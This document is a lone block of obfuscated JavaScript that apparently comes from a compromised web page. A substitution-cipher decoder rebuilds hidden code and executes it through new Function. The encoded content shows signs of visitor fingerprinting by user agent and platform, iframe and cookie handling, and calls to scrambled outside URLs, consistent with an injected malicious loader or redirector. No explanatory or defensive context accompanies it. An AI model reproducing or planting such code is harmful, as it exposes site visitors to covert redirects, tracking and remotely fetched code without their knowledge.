5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();